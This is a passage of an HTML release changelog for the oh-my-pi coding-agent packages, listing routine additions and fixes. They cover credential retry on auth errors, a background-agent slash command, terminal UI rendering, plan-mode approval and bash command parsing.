<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Added</h3>
<ul>
<li>Added optional <code>promptCacheKey</code> support to <code>AgentOptions</code> and <code>Agent</code> via a new <code>promptCacheKey</code> property so providers can receive a caller-provided prompt cache key</li>
<li>Added optional <code>ApiKeyResolveContext</code> parameter to <code>getApiKey</code> in <code>AgentOptions</code> and <code>AgentLoopConfig</code> so key resolvers can receive retry context</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Enabled streaming API calls to re-resolve credentials through the <code>getApiKey</code> callback when retries occur after authentication-related errors</li>
<li><code>Agent.abort(reason?)</code> now forwards <code>reason</code> to the underlying <code>AbortController</code>, and the synthesized aborted assistant message carries that reason on <code>errorMessage</code> (string or non-<code>AbortError</code> <code>Error</code> message) instead of always defaulting to <code>"Request was aborted"</code>. Bare <code>abort()</code> is unchanged.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed handling of short-lived API keys so that expired tokens are retried with a refreshed value during 401/usage-limit failures</li>
<li>Ensured fallback API key resolution uses the initially configured static <code>apiKey</code> when <code>getApiKey</code> is present</li>
<li>Wrapped oneshot LLM completions (<code>instrumentedCompleteSimple</code>: handoff, compaction/branch summaries) in an <code>EventLoopKeepalive</code>. These run outside the agent <code>#runLoop</code>, so without the keepalive Bun's event loop stopped servicing timers while parked on the completion promise — freezing host spinners (e.g. the <code>/handoff</code> loader) until an unrelated terminal resize poked the loop into rendering again.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed the <code>onAuthError</code> option from stream request options and shifted auth retry handling to resolver-based <code>apiKey</code> behavior, requiring callers using custom auth-retry hooks to migrate</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>ApiKeyResolver</code> and <code>ApiKey</code> auth helpers, including <code>isApiKeyResolver</code>, <code>isAuthRetryableError</code>, <code>resolveApiKeyOnce</code>, and <code>withAuth</code>, and exported them from the package root</li>
<li>Added support for a function-valued <code>apiKey</code> in <code>SimpleStreamOptions</code> so a single stream request can refresh or rotate credentials during retry</li>
<li>Added <code>forceRefresh</code> credential option to <code>AuthStorage.getApiKey</code> and <code>rotateSessionCredential</code> support for session-level credential rotation after auth failures</li>
<li>Added <code>AuthStorage.resolver(provider, options)</code> method that builds an <code>ApiKeyResolver</code> implementing the a/b/c auth-retry policy directly on the storage instance</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed gateway and stream auth flows to share the a/b/c retry policy, refreshing the same session credential first and then switching to a sibling credential on repeated auth failures</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed streaming auth retries to handle <code>401</code> and usage-limit errors before replay-unsafe content is emitted, including failures surfaced only via <code>errorStatus</code></li>
<li>Fixed tool argument validation to coerce singleton non-string values into arrays when the schema expects an array, preventing Anthropic-compatible models that emit <code>todo.ops</code> as an object from getting stuck in repeated validation-error loops. (<a href="https://github.com/can1357/oh-my-pi/issues/2026" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2026/hovercard">#2026</a>)</li>
<li>Fixed streaming retries to buffer and suppress partial <code>start</code> events from failed auth attempts so only clean retried events are delivered</li>
<li>Fixed the HTTP 400 raw-request dumper (<code>appendRawHttpRequestDumpFor400</code>) littering the real <code>~/.omp/logs/http-400-requests</code> directory during tests. Provider suites exercise the 400 error path with mocked <code>fetch</code> responses, which the dumper could not distinguish from genuine failures; it now skips persistence under the Bun test runner (<code>isBunTestRuntime()</code>).</li>
<li>Fixed Anthropic Opus requests unnecessarily forcing <code>tool_choice.disable_parallel_tool_use</code>, allowing Claude Opus to use the provider's default parallel tool-calling behavior again.</li>
<li>Fixed parallel <code>function_call</code> items losing arguments against llama.cpp's OpenAI Responses endpoint (<code>/v1/responses</code>), where every call but the last finalized with <code>{}</code> and the agent rejected them with <code>path: Invalid input: expected string, received undefined</code>. llama.cpp's <code>to_json_oaicompat_resp</code> emits <code>output_item.added</code> with only <code>item.call_id</code> (no <code>item.id</code>, no <code>output_index</code>) while the matching <code>function_call_arguments.delta</code> carries <code>item_id: "fc_&lt;call_id&gt;"</code>. <code>processResponsesStream</code> now registers function-call and custom-tool-call items under <code>item.call_id</code> as a secondary lookup key (alongside <code>item.id</code>/<code>output_index</code>) so identifier-deviant hosts route deltas and done events to the right block. (<a href="https://github.com/can1357/oh-my-pi/issues/2015" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2015/hovercard">#2015</a>)</li>
<li>Fixed <code>PI_REQ_DEBUG</code> response recording truncating the captured body when a streamed response was cancelled mid-flight. The response tee in <code>wrapResponse</code> could call <code>FileRequestDebugResponseLog.close()</code> from both the <code>cancel</code> callback and the resumed <code>pull</code> (which observes <code>done</code> once the source reader is cancelled); the second caller saw the handle already nulled and returned before the first caller's pending write flushed, so the <code>.res.log</code> lost the already-buffered chunk. <code>close()</code> now memoizes its flush-and-close promise so every caller awaits the same completion.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added <code>display.smoothStreaming</code> setting (default <code>true</code>) to let users enable or disable smooth assistant-stream text reveal</li>
<li>Added <code>/tan &lt;work&gt;</code> slash command to fork the current conversation into a background agent so tangential work can continue asynchronously while your main session stays active</li>
<li>Added a background <code>/tan</code> dispatch message that records the handoff in the transcript and marks the delegated work as non-blocking</li>
<li>Added <code>providerPromptCacheKey</code> support to <code>CreateAgentSessionOptions</code> so <code>/tan</code> background sessions can reuse the parent session’s prompt-cache lineage</li>
<li>Added session cloning for <code>/tan</code> runs with copied artifacts and shared MCP proxy tools</li>
<li>Added <code>SessionManager.forkFrom</code>’s optional <code>suppressBreadcrumb</code> mode to avoid breadcrumb updates when forking background <code>/tan</code> sessions</li>
<li>Added OSC 5522 enhanced paste handling in <code>InputController</code>, so terminal clipboard events are decoded as image or text payloads and inserted without passing raw paste sequences to the editor</li>
<li>Added bracketed image-path paste support in <code>CustomEditor</code> so a single pasted image file path (PNG/JPEG/GIF/WEBP) is loaded from disk and inserted as an image candidate</li>
<li>Added direct support for <code>Image #N</code> insertion from pasted local image paths by routing successful image-path pastes through the same image normalization and resize flow as clipboard image pastes</li>
<li>Added <code>/fresh</code> to rotate the provider-facing session id and clear in-memory provider stream/cache state without changing the local session file.</li>
<li>Added a <code>ChatBlock</code> transcript primitive (<code>modes/components/chat-block.ts</code>) and a single <code>ctx.present(...)</code> sink (with <code>ctx.resetTranscript()</code>) so chat output is mounted in one place instead of the repeated <code>chatContainer.addChild(...)</code> + <code>ui.requestRender()</code> pattern scattered across controllers. <code>ChatBlock</code> carries a React/Svelte-style lifecycle — <code>onMount</code> starts effects, <code>onCleanup</code> registers teardown, <code>finish()</code> self-completes (stops timers and freezes the block at its final content), and <code>dispose()</code>/<code>resetTranscript()</code> tears everything down — so animated blocks own their own resources instead of leaking <code>setInterval</code>/<code>requestRender</code> bookkeeping into callers. The MCP "Connecting…" spinner is now such a block.</li>
<li>Added a <code>framedBlock</code> output-block helper (<code>tui/output-block.ts</code>) plus a <code>borderColor</code> override and <code>applyBg: false</code> (no background fill) on output blocks, a <code>renderStatusLine</code> <code>iconOverride</code>, and an <code>icon.search</code> (magnifier) theme symbol — so tool renderers can draw self-contained muted-outline frames and search-family tools can show a magnifier instead of a checkmark.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>
<p>Changed the bash tool frame to use a plain top rule instead of repeating "Bash" in the title bar, and folded minimizer raw-output artifact links into the status footer as <code>Artifact: &lt;id&gt;</code>.</p>
</li>
<li>
<p>Changed grouped <code>read</code> output to use a white filled-circle mark for the group/single-read success state and omit duplicate per-file success marks inside multi-read groups.</p>
</li>
<li>
<p>Changed assistant streaming output to reveal text incrementally at 30 FPS with grapheme-safe adaptive catch-up, instead of replacing the whole message chunk-by-chunk</p>
</li>
<li>
<p>Changed shimmer-driven TUI animations (working text, pending bash/eval borders, and theme activity-spinner documentation) to render at 30fps instead of 60fps.</p>
</li>
<li>
<p>Changed running <code>task</code> tool agent rows to use a static <code>•</code> marker and shimmer only the subagent name, leaving descriptions, stats, and nested tool detail text solid while removing the rotating status glyph from those rows.</p>
</li>
<li>
<p>Changed settings singleton method access to reuse bound methods for the active instance instead of allocating a new bound function on every <code>settings.get</code> lookup.</p>
</li>
<li>
<p>Changed plan-mode approval to keep the drafted <code>local://&lt;slug&gt;-plan.md</code> file at its original name as the canonical plan path, so approved plans are no longer renamed when leaving plan mode</p>
</li>
<li>
<p>Changed plan-mode write enforcement so only <code>local://</code> artifact files are writable during planning, blocking working-tree edits and allowing scratch or draft plan files in the local artifact area</p>
</li>
<li>
<p>Changed the <code>todo</code> tool result renderer to stop redrawing every phase's full task list on each update: when a multi-phase list is rendered collapsed (the default, not manually expanded), only phases the latest update touched — the phase holding the in_progress task, any phase with a just-completed task, and phases named by the ops that ran (<code>init</code> counts as touching all) — render their tasks; untouched phases collapse to a one-line <code>N. Name  done/total</code> summary. When call args are unavailable (e.g. transcript rebuilds) it falls back to the in_progress/completed-transition signals, and the manual expand toggle still shows every task. Also dropped the blank separator line previously inserted between phases.</p>
</li>
<li>
<p>Changed non-agent API operations (title and commit-message generation, image generation, web search, eval <code>llm()</code>, auto-thinking classifier, memory consolidation) to use session-aware API key resolution with auth retries via <code>registry.resolver()</code> / <code>authStorage.resolver()</code>, refreshing the active credential before rotating to another account</p>
</li>
<li>
<p>Changed image generation to wrap every provider fetch branch in <code>withAuth</code>, so 401 / usage-limit errors trigger credential force-refresh and rotation for authStorage-backed providers (OpenAI-hosted, antigravity, xai-oauth) while env-only providers (openrouter, gemini) stay single-attempt</p>
</li>
<li>
<p>Changed web-search providers using <code>authStorage.getApiKey</code> (anthropic, exa, tavily, parallel, synthetic, zai, kimi) to wrap HTTP calls in <code>withAuth</code> for automatic credential rotation on 401 / usage-limit errors</p>
</li>
<li>
<p>Changed the directory grouping for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics from a single flat <code># dir/</code> heading per immediate directory to a multi-level tree that folds the common path prefix into one heading. Previously every group repeated the full directory path — so results rooted outside cwd printed the absolute prefix (e.g. <code>/Users/me/proj/</code>) on every heading and nested directories were never collapsed. Now a single-child directory chain folds into one heading (<code># packages/pkg/src/</code>, including an absolute root for out-of-cwd results), subdirectories nest one <code>#</code> deeper (<code>## nested/</code> → <code>### child.ts</code>), and each directory's own files are listed before its subdirectories. TUI hyperlink reconstruction tracks the nested directory stack across the whole output so file and code-frame links keep resolving to the correct absolute paths.</p>
</li>
<li>
<p>Changed the plan-mode approval surface from an inline transcript block plus a separate bottom selector into a single fullscreen overlay (like <code>/copy</code>) and overhauled its navigation. The overlay now renders the plan per-section through <code>ScrollView</code> (line-level ↑/↓ scroll, Shift+↑/↓ to scroll faster, PgUp/PgDn, g/G) with no stray per-line <code>…</code>, and — when the terminal is wide enough and the plan has ≥2 headings — shows a compact VS Code-style section sidebar (the redundant plan-title heading and any "Contents" label are omitted). Focus moves between regions with Tab/Shift+Tab (and flows at the edges: Down past the last section or the bottom of the body drops into the approval options; Up steps back), while the sidebar glows to track the scrolled section. The sidebar can fast-jump between sections, delete a section (with <code>u</code> undo), and annotate sections with feedback (<code>a</code>); deletions and annotations are collected into refinement feedback that is submitted back to the model when the operator picks "Refine plan". Mouse works too: clicking an approval option activates it, clicking a sidebar section jumps to it, and the wheel scrolls the plan. ←/→ always drive the model-tier slider, Enter confirms, the external-editor key opens the plan, and Esc cancels. The overlay borrows the terminal's alternate screen buffer for its lifetime (<code>fullscreen</code> overlay), so the transcript stays put on the normal screen instead of bleeding through scrollback behind the modal.</p>
</li>
<li>
<p>Changed the interactive controllers (command, MCP, selector, extension-UI, event), debug panels, and the status/error/warning helpers to render chat output through <code>ctx.present(...)</code> instead of appending to <code>chatContainer</code> and calling <code>ui.requestRender()</code> directly; transcript rebuilds dispose live blocks via <code>ctx.resetTranscript()</code> so animated blocks' timers stop on reset.</p>
</li>
<li>
<p>Changed tool-execution block rendering so the container (<code>ToolExecutionComponent</code>) is a transparent passthrough — it no longer inserts a top/bottom blank line, adds left/right padding, or paints a state-colored background behind tool output. Tools with substantial body now self-frame with a muted outline and the tool title in the frame's top bar (<code>edit</code>/<code>apply_patch</code>, <code>write</code>, <code>ask</code>, <code>todo</code>, <code>github</code>, <code>goal</code>, <code>inspect_image</code>, <code>search_tool_bm25</code>, <code>task</code>), matching the already-framed <code>bash</code>/<code>read</code>/<code>eval</code>/<code>debug</code>/<code>web_search</code>/<code>lsp</code> blocks, while streaming/in-progress and trivial results collapse to a clean status line. The search-family list tools (<code>find</code>, <code>search</code>, <code>ast_grep</code>) and <code>job</code> render frameless/minimal; <code>find</code>/<code>search</code>/<code>ast_grep</code> show a magnifier on success instead of a checkmark, and <code>job</code> drops its <code>Job:</code> label prefix (the per-job rows are self-describing). The <code>search_tool_bm25</code>, <code>github</code>, and <code>inspect_image</code> frames draw with no background fill, and <code>inspect_image</code>'s label was shortened to <code>Inspect</code>.</p>
</li>
<li>
<p>Changed the plan-mode active prompt (<code>prompts/system/plan-mode-active.md</code>) to make plans decision-complete and cut filler. Added an Objective framing ("another engineer can execute end-to-end without making a single design decision"), a shared "Resolving Unknowns" section (explore discoverable facts before asking; reserve <code>ask</code> for non-derivable preferences/tradeoffs with 2–4 options + a recommended default), and a single shared "The Plan" structure (Context / Approach grouped by behavior not file-by-file / ≤5 Critical files / Verification / Assumptions) that replaces the per-branch structure guidance previously duplicated across the iterative and parallel workflows. Added explicit prohibitions on sections that decide nothing (Non-Goals, Out of Scope, Alternatives Considered, Risks/Mitigations boilerplate, Future Work), on enumerating every file/line, and on inventing schema/validation/precedence policy the request never established.</p>
</li>
<li>
<p>Changed completion notifications (<code>completion.notify</code>) to fire whenever the agent yields its turn, including in the foreground. The <code>agent_end</code> notification was previously gated behind background mode (<code>isBackgrounded</code>), so an ordinary foreground turn never emitted one; the gate is gone and the desktop toast now fires on every normal turn completion (still skipped for aborted/error turns and when <code>completion.notify</code> is <code>off</code>).</p>
</li>
<li>
<p>Changed the in-progress <code>task</code> tool block to keep the shared <code>context</code> brief (<code># Goal</code> / <code># Constraints</code> background) visible after the first progress snapshot arrives, instead of dropping it the moment the streaming call view was replaced by the result frame, and to stop animating a spinner/clock next to the <code>Task</code> frame header while running — the per-agent body lines already carry their own running spinner, so the header now shows a static state icon (matching the completed/failed header icons). The context is rendered through a shared <code>buildContextSection</code> helper that also undoes per-field double-encoding, so the brief reads cleanly in the result frame even though <code>renderResult</code> receives the raw (un-repaired) tool args.</p>
</li>
<li>
<p>Changed the messaging shown when you press Esc to interrupt a streaming turn from the ambiguous <code>Operation aborted</code> / <code>Tool execution was aborted: Request was aborted</code> to <code>Interrupted by user</code>, so a deliberate user interrupt no longer reads like an internal failure. Every Esc/flush interrupt path (<code>onEscape</code> while streaming, the queued-message restore-and-abort path, and the empty-submit queue flush) threads the reason through <code>AgentSession.abort({ reason })</code> → <code>Agent.abort(reason)</code> so it rides the <code>AbortController</code> onto the aborted assistant message's <code>errorMessage</code>; the turn label renders it verbatim on both the live and replay paths, and the synthetic placeholder results paired with in-flight tool calls now read <code>Tool execution was aborted: Interrupted by user</code>. Aborts that carry no reason still fall back to the retry-aware <code>Operation aborted</code> generic. Transcript label resolution is centralized in <code>resolveAbortLabel</code> (<code>session/messages.ts</code>).</p>
</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the <code>/background</code> (and <code>/bg</code>) slash command and the background-mode subsystem it was the sole entry point for — <code>InteractiveMode.isBackgrounded</code>, <code>createBackgroundUiContext</code>, <code>handleBackgroundEvent</code>, and every <code>isBackgrounded</code> guard across the input/event/extension-UI controllers and UI helpers. The command suspended the whole process group via <code>SIGTSTP</code> (a leftover testing shortcut) instead of detaching the running agent, which is not the expected workflow — use terminal panes or a multiplexer instead.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed inline <code>find</code> and <code>search</code> result blocks to align with grouped <code>read</code> output and render their success headers with the normal tool-title color instead of accent blue.</p>
</li>
<li>
<p>Fixed the working-status shimmer to opt into the loader's 30fps animated-message repaint path while keeping both the status spinner and pending bash/eval tool spinners on their normal 80 ms glyph cadence.</p>
</li>
<li>
<p>Fixed consecutive <code>read</code> tool calls failing to collapse into a single grouped block when a reasoning model emits one read per completion (<code>[thinking, read]</code>). The read group was reset on every assistant <code>message_start</code>, so each read rendered as its own one-entry <code>Read …</code> line; now a read run accretes across completions and is broken only by a rendered non-empty text/thinking block, a non-read tool, or a user/IRC message — matching the transcript-rebuild path. <code>ReadToolGroupComponent</code> now reports its live/finalized state so the growing <code>Read (N)</code> header repaints correctly on native-scrollback (risk) terminals.</p>
</li>
<li>
<p>Fixed the <code>task</code> tool shared-context brief rendering raw Markdown headings (<code># Goal</code>, <code># Constraints</code>) inside framed call/result blocks instead of using the normal Markdown renderer.</p>
</li>
<li>
<p>Fixed the animated pending border on <code>bash</code>/<code>eval</code> blocks leaving a frozen dark "bar" segment behind after a backgrounded command finalized through the async update path. Once a command is auto-backgrounded (<code>details.async.state === "running"</code>) the block stays "partial" in the TUI until the async job-manager delivers the final result, but it also gets committed to native scrollback — so a mid-sweep shimmer frame baked a stray darkened border segment into the committed copy. The border now stops animating (and the 60fps redraw loop stops) the moment a block enters the backgrounded state, so the committed frame is a clean static border.</p>
</li>
<li>
<p>Fixed cold <code>omp</code> launch to clear native terminal history on the first paint, avoiding a once-per-launch duplicate welcome/transcript copy before the normal session replay.</p>
</li>
<li>
<p>Fixed plan approval resolution so <code>resolve</code> with <code>action: "apply"</code> can still find the plan file when <code>extra.title</code> is missing or stale by falling back to the current plan path and most-recent local plan artifacts</p>
</li>
<li>
<p>Fixed the search-family tool magnifier glyph (<code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>search_tool_bm25</code>) to use the <code>accent</code> title color instead of <code>success</code> green, so the icon matches the tool title in the status header instead of standing out</p>
</li>
<li>
<p>Fixed TTSR stream interrupts to pass the matched rule name through the abort reason, so aborted in-flight tool placeholders say why they were stopped instead of <code>Request was aborted</code>.</p>
</li>
<li>
<p>Fixed URL reads for binary/special payloads to reuse local readers: remote archives list their root entries, SQLite databases show their table overview, notebooks render as editable cells, and unrenderable binary returns a metadata notice instead of decoded byte garbage.</p>
</li>
<li>
<p>Fixed pasted image-file paths that cannot be loaded to fall back to normal text paste with status feedback instead of disappearing.</p>
</li>
<li>
<p>Fixed tool-output file paths not being clickable OSC 8 <code>file://</code> hyperlinks in several renderers. <code>read</code> titles for plain text and image files (the common case) emitted no link at all because the renderer only linked when a <code>resolvedPath</code> was recorded — which the ordinary file/image read paths never set, keeping the absolute path only in <code>meta.source</code>; the renderer now falls back to that source path. <code>write</code> headers were never wrapped in a hyperlink and now link to the absolute path written (file, archive entry, SQLite, and conflict resolutions). <code>edit</code>/<code>apply_patch</code> headers wrapped the model-supplied (often cwd-relative) argument path, producing a root-anchored <code>file:///rel/path</code> URI; they now link the absolute <code>details.path</code> instead. Finally, <code>search</code>, <code>ast_grep</code>, and <code>ast_edit</code> produced doubled link targets (<code>/proj/src/src/file.ts</code>) for searches scoped to a subdirectory, because the renderer resolved the cwd-relative display paths against the scope directory rather than cwd — the scoped-search base is now the session cwd (with the scoped file's absolute path still seeding single-file body lines).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed the bash tool corrupting commands that embed multi-byte UTF-8 (e.g. <code>✓</code>/<code>×</code> inside a <code>grep -E</code> pattern) ahead of a trailing <code>| head</code>/<code>| tail</code>. The <code>bash.stripTrailingHeadTail</code> rewrite cut at char-offset positions reported by <code>brush-parser</code> while slicing the command by byte offset, so the trailing-pipe strip landed mid-pattern and dropped the closing quote — turning <code>… |✓|×|XCTAssert" | tail -80</code> into <code>… |✓|×-80</code> and making execution fail with <code>pi-natives:command: unterminated double quote</code>. Fixed in <code>pi_shell::fixup</code> (<code>@oh-my-pi/pi-natives</code>).</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> to recover from 401 token failures by re-minting the failing OAuth credential in place before switching accounts</p>
</li>
<li>
<p>Fixed duplicate file entries in grouped outputs for <code>find</code>, <code>search</code>, <code>ast_grep</code>, <code>ast_edit</code>, and <code>lsp</code> diagnostics when the same path appeared multiple times</p>
</li>
<li>
<p>Fixed search, grep, and edit output rendering so repeated directory group blank-line boundaries no longer break nested path/link reconstruction</p>
</li>
<li>
<p>Fixed <code>omp dry-balance --bench</code> flooding the terminal with staircased, duplicated spinner/status lines (and an indented summary) when the tty has ONLCR/OPOST disabled (raw mode). The interactive progress region separated rows with a bare LF and repositioned with a column-preserving <code>\x1b[&lt;n&gt;A</code> cursor-up, both of which only land at column 0 when the terminal translates LF→CRLF; with that translation off, every 80 ms redraw cascaded down and to the right into scrollback. The live region now carriage-returns before every cleared row, terminates each row with CRLF, and caps each row to the terminal width so a wrapped line cannot desync the cursor-up from the logical line count.</p>
</li>
<li>
<p>Fixed inconsistent vertical spacing between transcript blocks: some blocks (tool results from <code>search</code>/<code>find</code> and other renderer-backed tools) rendered with a doubled gap (a leading <code>Spacer</code> plus the content box's own <code>paddingY</code>), while others (the grouped <code>read</code> card, file-mention lists, IRC cards) rendered with no gap at all. Vertical spacing is now owned entirely by the chat renderer: <code>TranscriptContainer</code> strips each block's plain-blank top/bottom edges and inserts exactly one blank line between consecutive blocks, so every block is separated by a single consistent gap regardless of which component produced it. Individual components (assistant/user/tool/read-group/bash/eval/skill/custom/hook/compaction/branch/todo-reminder/plan-review messages) no longer emit their own leading <code>Spacer</code>/<code>paddingY</code> for separation, and multi-row groups (IRC cards, file-mention lists, completed-job batches, and the bordered command/<code>/changelog</code>/<code>/context</code>/version/OAuth/debug panels) are wrapped as single <code>TranscriptBlock</code> children so the renderer spaces them as one unit. Background-colored box padding is preserved as block-internal design.</p>
</li>
<li>
<p>Fixed <code>resolve</code> with <code>action: "discard"</code> surfacing a hard <code>isError</code> "No pending action to resolve" failure to the model when the agent asked to cancel a staged action (e.g. an <code>ast_edit</code> preview) but nothing was pending. A discard is a request to reach the "no staged change" end-state, which already holds in that case, so it is now honored as a successful cancellation (<code>"Nothing to discard; no pending action remains."</code> with <code>details.action: "discard"</code>) instead of an error. <code>action: "apply"</code> with no pending action still errors.</p>
</li>
<li>
<p>Fixed the collapsed tool-output expand hint rendering double brackets (e.g. <code>((Ctrl+O for more))</code>) — the <code>EXPAND_HINT</code> text already carried its own parentheses and then <code>formatExpandHint</code> wrapped it again with the theme's bracket glyphs. The hint now resolves the key actually bound to <code>app.tools.expand</code> at render time and reads <code>⟨&lt;key&gt;: Expand⟩</code> (e.g. <code>⟨Ctrl+O: Expand⟩</code>), so a single bracket pair surrounds it and a user remap of the expand keybinding is reflected instead of a hard-coded <code>Ctrl+O</code>.</p>
</li>
<li>
<p>Fixed the <code>edit</code>/<code>apply_patch</code> tool dropping its outlined frame while streaming/in-progress (only the final result was framed); the in-progress diff preview now renders inside the same muted frame as the completed result.</p>
</li>
<li>
<p>Fixed the <code>todo</code> and <code>job</code> tools rendering a success icon and success styling on a failed/error result; error results now show the error icon and a red frame border.</p>
</li>
<li>
<p>Fixed <code>debug</code> tool refusing every <code>dlv</code> launch on Go modules. The launch handler ran <code>validateLaunchProgram</code> before adapter selection and rejected any directory program with <code>launch program resolves to a directory</code>, while dlv's default <code>mode=debug</code> requires a Go package path (a directory or <code>.go</code> source file). Adapter resolution now precedes validation, directory programs prefer adapters that advertise <code>acceptsDirectoryProgram</code> before falling back to native extensionless debuggers, the rejection only fires when the resolved adapter does not advertise that flag (set on <code>dlv</code> in <code>dap/defaults.json</code>), and dlv's <code>mode</code> is derived from the program shape — directories and <code>.go</code> files launch as <code>mode=debug</code>, other files as <code>mode=exec</code> — so <code>omp</code> can debug both Go packages and pre-built binaries (<a href="https://github.com/can1357/oh-my-pi/issues/2020" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2020/hovercard">#2020</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>applyBashFixups</code> corrupting commands that contain multi-byte UTF-8 before a trailing <code>| head</code>/<code>| tail</code> (or <code>2&gt;&amp;1</code>). <code>brush-parser</code> reports source positions as Unicode-scalar (char) offsets, but <code>pi_shell::fixup</code> sliced the command <code>&amp;str</code> by those numbers as if they were byte offsets, so each multi-byte char (e.g. <code>✓</code>/<code>×</code> in a <code>grep -E</code> pattern) shifted the cut earlier and left a mangled command — e.g. <code>… |✓|×|XCTAssert" | tail -80</code> became <code>… |✓|×-80</code>, orphaning the closing quote and making the shell reject the whole pipeline with <code>unterminated double quote</code>. Positions are now translated to byte offsets before slicing.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Removed Kitty temp-file image transmission, its startup support probe, the <code>PI_KITTY_IMAGE_TRANSMISSION</code> override, and the temp-file helper exports. Kitty/Ghostty image payloads now stay on in-band base64 before placeholder/direct placement, avoiding blank first renders from temp-file load races.</li>
<li>Renamed <code>RenderRequestOptions.allowUnknownViewportMutation</code> → <code>allowUnknownViewportTransientRepaint</code>. The option only permits a transient live-viewport repaint (autocomplete/IME/focused-editor chrome) on hosts that cannot report viewport position; it never authorizes a settled transcript commit. The old name implied any offscreen mutation was safe to push into native scrollback, which led callers to emit duplicate transcript copies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>TUI.addStartListener()</code> so feature hooks can re-enable terminal modes after temporary stop/start cycles such as external-editor handoffs.</li>
<li>Added <code>Editor.pasteText()</code> to apply terminal-style paste handling for text inserted from non-bracketed paste transports</li>
<li>Added an optional <code>dispose()</code> lifecycle method to <code>Component</code> so components can release timers and subscriptions during permanent teardown</li>
<li>Added <code>Container.dispose()</code> to propagate teardown to child components when a component tree is permanently discarded</li>
<li>Added <code>Loader.dispose()</code> to stop the loader animation timer when the component is disposed</li>
<li>Added a <code>ScrollView</code> <code>ellipsis</code> option (defaults to <code>Ellipsis.Unicode</code>) so callers that pre-wrap content to width can pass <code>Ellipsis.Omit</code> and suppress the stray per-line <code>…</code> that lands on trailing padding.</li>
<li>Added <code>ScrollView.handleScrollKey()</code> plus a <code>fastScrollLines</code> option so every scroll view gets shared navigation keys, including Shift+Arrow to scroll faster.</li>
<li>Added <code>OverlayOptions.fullscreen</code>: while the topmost visible overlay sets it, the engine borrows the terminal's alternate screen buffer for the overlay's lifetime and paints only the modal there — no ED3, no transcript re-commit — so the transcript stays untouched on the normal screen and is not scrollable behind the modal. Mouse tracking (<code>?1000h</code>/<code>?1006h</code>) is enabled for the modal's lifetime and disabled on exit, so the rest of the app keeps the terminal's native text selection.</li>
<li>Added the <code>submitPinsViewportToTail</code> terminal capability and <code>detectSubmitPinsViewportToTail()</code>: genuine local terminals where a submit keystroke scrolls the host to its tail reconcile deferred native scrollback at the prompt-submit checkpoint even when the viewport position is unprobeable (Ghostty/kitty/iTerm/WezTerm/Alacritty). Restores the pre-regression submit reconciliation without re-enabling it for Windows Terminal/ConPTY, SSH, or multiplexers, where a submit is not proof the host is at the tail.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed static <code>Loader</code> messages to repaint only at the spinner's 80 ms cadence; time-dependent message colorizers can opt into 16 ms redraws with <code>animated: true</code>.</li>
<li>Changed keybinding matching to precompute canonical key sets so each input sequence is parsed once per binding check instead of once per candidate key.</li>
<li>Made <code>Component.invalidate()</code> optional so leaf components without render caches no longer need no-op invalidation hooks.</li>
<li><code>TERMINAL</code> is now a <code>RuntimeTerminal</code> whose post-construction capabilities (image protocol and the probe-driven flags) are writable, replacing the <code>as unknown as MutableTerminalInfo</code> cast pattern and the positional <code>withTerminalOverrides</code> rebuild with a prototype-preserving <code>clone()</code>.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed <code>Loader</code> text updates to skip identical messages and preserve the rendered <code>Text</code> cache instead of invalidating it every timer tick.</p>
</li>
<li>
<p>Fixed fullscreen overlay alt-frame rendering to reuse the current line-preparation path instead of calling removed fitting helpers.</p>
</li>
<li>
<p>Reduced TUI render-path line fitting by deferring overlay base-frame fitting until an overlay rebuild and by reusing already-fitted lines in emitters.</p>
</li>
<li>
<p>Reduced live-region pinned repaint output by diffing unchanged viewport rows when no sealed rows are being committed to native scrollback.</p>
</li>
<li>
<p>Fixed no-append live-region pinned repaints to re-anchor the hardware cursor when the logical viewport shifts.</p>
</li>
<li>
<p>Fixed keybinding matching so printable uppercase input preserves <code>Shift</code> for bindings such as <code>shift+a</code>.</p>
</li>
<li>
<p>Optimized terminal image-line detection and Thai/Lao AM normalization checks to avoid hot-path regex scans and substring allocations.</p>
</li>
<li>
<p>Fixed <code>Markdown.render()</code> cache hits returning the cache's mutable backing array, which let callers that append extra rows corrupt cached Markdown and duplicate those rows on every redraw.</p>
</li>
<li>
<p>Fixed first-paint full replays for callers that intentionally replace terminal history by allowing <code>TUI.start({ clearScrollback: true })</code>, so they do not briefly append an entire initial frame before the first clean replay.</p>
</li>
<li>
<p>Fixed ED3-risk streaming cap accounting to preserve the native scrollback high-water mark for rows that were already physically committed before transient frames were viewport-capped.</p>
</li>
<li>
<p>Fixed terminal stop and restore cleanup to disable enhanced paste mode so it does not remain enabled after shutdown</p>
</li>
<li>
<p>Removed the per-frame line-fit <code>Map</code> cache from the render timer path to avoid forcing JSC rope-string hashing during scheduled viewport repaints.</p>
</li>
<li>
